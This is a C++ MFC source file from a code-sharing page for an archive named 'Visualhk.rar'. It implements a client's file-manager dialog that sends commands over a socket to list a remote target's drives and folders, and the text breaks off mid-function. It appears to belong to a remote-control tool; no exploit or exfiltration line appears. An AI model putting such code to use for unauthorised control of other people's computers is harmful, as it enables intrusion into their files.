FileManageDlg.cpp
资源名称:Visualhk.rar [点击查看]
上传用户:cjw5120
上传日期:2022-05-11
资源大小:5032k
文件大小:10k
源码类别:
网络截获/分析
开发平台:
Visual C++
- // FileManageDlg.cpp : implementation file
- //
- #include "stdafx.h"
- #include "MyClient.h"
- #include "FileManageDlg.h"
- #include "TcpTran.h"
- #include "comm.h"
- #include "shellapi.h"
- //#include <direct.h>
- #define DIR 0
- #define FILE 1
- #define ID_FILETREE 96367
- HTREEITEM m_hItem;
- #ifdef _DEBUG
- #define new DEBUG_NEW
- #undef THIS_FILE
- static char THIS_FILE[] = __FILE__;
- #endif
- CWinThread *pDriverInfoThread = NULL;
- CWinThread *pListDirThread = NULL;
- //CWinThread *pSendFileThread = NULL;
- /////////////////////////////////////////////////////////////////////////////
- // CFileManageDlg dialog
- CFileManageDlg *m_filemanageDlg = NULL;
- //DriverInfo线程
- UINT DriverInfoThread(LPVOID lparam)
- {
- CTcpTran m_tcptran;
- CFileManageDlg *pDlg=(CFileManageDlg *)lparam;
- if(pDlg->ClientSocket!=INVALID_SOCKET)
- {
- int ret;
- DRIVER driver;
- COMMAND m_command;
- m_command.wCmd = CMD_FILE_MANAGE;
- ret=m_tcptran.mysend(pDlg->ClientSocket,(char *)&m_command,sizeof(COMMAND),0,60);//获得盘符信息
- pDlg->m_tree.DeleteAllItems();
- pDlg->m_list.DeleteAllItems();
- while(ret>0)
- { HTREEITEM hit;
- ret=m_tcptran.myrecv(pDlg->ClientSocket,(char *)&driver,sizeof(DRIVER),0,60,NULL,false);//接收目标数据
- if(ret<=0||driver.end)
- break;
- //表示接收到数据
- if(driver.drivertype==DRIVE_FIXED)
- {
- hit=pDlg->m_tree.InsertItem(driver.driver,0,0,TVI_ROOT,TVI_LAST);
- pDlg->m_tree.InsertItem(NULL,hit,TVI_LAST);
- }
- if(driver.drivertype==DRIVE_CDROM)
- {
- hit=pDlg->m_tree.InsertItem(driver.driver,1,1,TVI_ROOT,TVI_LAST);
- }
- if(driver.drivertype==DRIVE_REMOVABLE)
- {
- hit=pDlg->m_tree.InsertItem(driver.driver,2,2,TVI_ROOT,TVI_LAST);
- pDlg->m_tree.InsertItem(NULL,hit,TVI_LAST);
- }
- }
- }
- pDriverInfoThread = NULL;
- return 0;
- }
- UINT ListDirThread(LPVOID lparam)
- {
- CTcpTran m_tcptran;
- CFileManageDlg *pDlg=(CFileManageDlg *)lparam;
- pDlg->DeleteTreeChildItem(pDlg->TreeNode);
- pDlg->m_list.DeleteAllItems();
- if(pDlg->ClientSocket!=INVALID_SOCKET)
- {
- pDlg->m_list.SetRedraw(FALSE);
- pDlg->m_list.DrawSearch(TRUE);
- COMMAND m_command;
- memset(&m_command,0,sizeof(COMMAND));
- m_command.wCmd = CMD_FILE_GETSUBFILE;
- strcpy(m_command.szCurDir , pDlg->chrPath );
- m_tcptran.mysend(pDlg->ClientSocket,(char *)&m_command,sizeof(COMMAND),0,60);//枚举文件
- FILEINFO fileinfo;
- do
- {
- m_tcptran.myrecv(pDlg->ClientSocket,(char *)&fileinfo,sizeof(FILEINFO),0,60,NULL,false);//接收目标数据
- if(fileinfo.next ==0)
- break;
- HTREEITEM hit;
- if(fileinfo.isdirectory ==1)
- {
- if(fileinfo.filename [0]=='.')
- continue;
- hit=pDlg->m_tree.InsertItem(fileinfo.filename,3,4,pDlg->TreeNode,TVI_LAST);
- pDlg->m_tree.InsertItem(NULL,hit,TVI_LAST);
- }
- else
- {
- int iIcon;
- CString icon;
- icon.Format("%s",fileinfo.filename);
- pDlg->GetFileIcon(icon,&iIcon);
- int n =pDlg->m_list.GetItemCount();
- pDlg->m_list.InsertItem(n,"",iIcon);
- CString kb;
- kb.Format("%dK",fileinfo.filesize);
- pDlg->m_list.SetItemText(n,0,fileinfo.filename);
- pDlg->m_list.SetItemText(n,1,kb);
- pDlg->m_list.SetItemText(n,2,fileinfo.time);
- }
- }while(fileinfo.invalidir!=1);
- pDlg->PostMessage(STOP_MESSAGE);
- pDlg->m_list.SetRedraw(TRUE);
- pDlg->m_list.Invalidate();
- }
- pListDirThread = NULL;
- return 0;
- }
- CFileManageDlg::CFileManageDlg(CWnd* pParent /*=NULL*/)
- : CDialog(CFileManageDlg::IDD, pParent)
- {
- //{{AFX_DATA_INIT(CFileManageDlg)
- // NOTE: the ClassWizard will add member initialization here
- //}}AFX_DATA_INIT
- m_filemanageDlg = this ;
- }
- void CFileManageDlg::DoDataExchange(CDataExchange* pDX)
- {
- CDialog::DoDataExchange(pDX);
- //{{AFX_DATA_MAP(CFileManageDlg)
- DDX_Control(pDX, IDC_TREE, m_tree);
- DDX_Control(pDX, IDC_LIST, m_list);
- //}}AFX_DATA_MAP
- }
- BEGIN_MESSAGE_MAP(CFileManageDlg, CDialog)
- //{{AFX_MSG_MAP(CFileManageDlg)
- ON_MESSAGE(BEGIN_MESSAGE, OnBeginMsg)
- ON_MESSAGE(STOP_MESSAGE, OnStopMsg)
- ON_NOTIFY(NM_CLICK, IDC_TREE, OnClickTreeDir)
- ON_NOTIFY(NM_RCLICK, IDC_LIST, OnRclickList)
- ON_COMMAND(ID_MENUITEM_FILE_DEL, OnMenuitemFileDel)
- //}}AFX_MSG_MAP
- END_MESSAGE_MAP()
- /////////////////////////////////////////////////////////////////////////////
- // CFileManageDlg message handlers
- BOOL CFileManageDlg::OnInitDialog()
- {
- CDialog::OnInitDialog();
- m_ImageList1.Create(16,16,ILC_COLOR16|ILC_MASK,2,2);
- HICON hIcon0 = ::LoadIcon (::AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_FILE1));
- m_ImageList1.Add(hIcon0);
- HICON hIcon1 = ::LoadIcon (::AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_FILE2));
- m_ImageList1.Add(hIcon1);
- HICON hIcon2 = ::LoadIcon (::AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_FILE3));
- m_ImageList1.Add(hIcon2);
- HICON hIcon3 = ::LoadIcon (::AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_FILE4));
- m_ImageList1.Add(hIcon3);
- HICON hIcon4 = ::LoadIcon (::AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_FILE5));
- m_ImageList1.Add(hIcon4);
- m_tree.SetImageList(&m_ImageList1,TVSIL_NORMAL);//添加图标
- // TODO: Add extra initialization here
- LONG lStyle = m_list.SendMessage(LVM_GETEXTENDEDLISTVIEWSTYLE);
- lStyle |= LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES | LVS_EX_HEADERDRAGDROP;
- m_list.SendMessage(LVM_SETEXTENDEDLISTVIEWSTYLE, 0,(LPARAM)lStyle);
- LV_COLUMN lvc;
- lvc.mask = LVCF_TEXT | LVCF_SUBITEM | LVCF_WIDTH /*| LVCF_FMT*/;
- m_list.DeleteAllItems();
- m_list.InsertColumn(0,"文件名",LVCFMT_LEFT,130);
- m_list.InsertColumn(1,"文件大小",LVCFMT_LEFT,90);
- m_list.InsertColumn(2,"修改时间",LVCFMT_LEFT,120);
- //备注:字符串结尾 设置的问题 初始化时要更新
- //创建ImageList
- HIMAGELIST hImageList;
- //定义文件信息变量
- SHFILEINFO shFi;
- //获取文件图标信息
- char cSysDir[100],dir[4]={0};
- GetSystemDirectory(cSysDir,100);
- strncpy(dir,cSysDir,3);
- //得到系统盘符
- hImageList = (HIMAGELIST)SHGetFileInfo(dir,0,&shFi,sizeof(shFi),
- SHGFI_SYSICONINDEX|SHGFI_SMALLICON);
- //将文件图象列表存入m_ctImageList
- m_ImageList2.m_hImageList = hImageList;
- m_list.SetImageList(&m_ImageList2,LVSIL_SMALL);//添加图标
- pDriverInfoThread = AfxBeginThread(DriverInfoThread, (LPVOID)this);
- return TRUE;
- }
- void CFileManageDlg::GetItPath(HTREEITEM hitem, char *path)
- {
- char tpath[MAX_PATH]="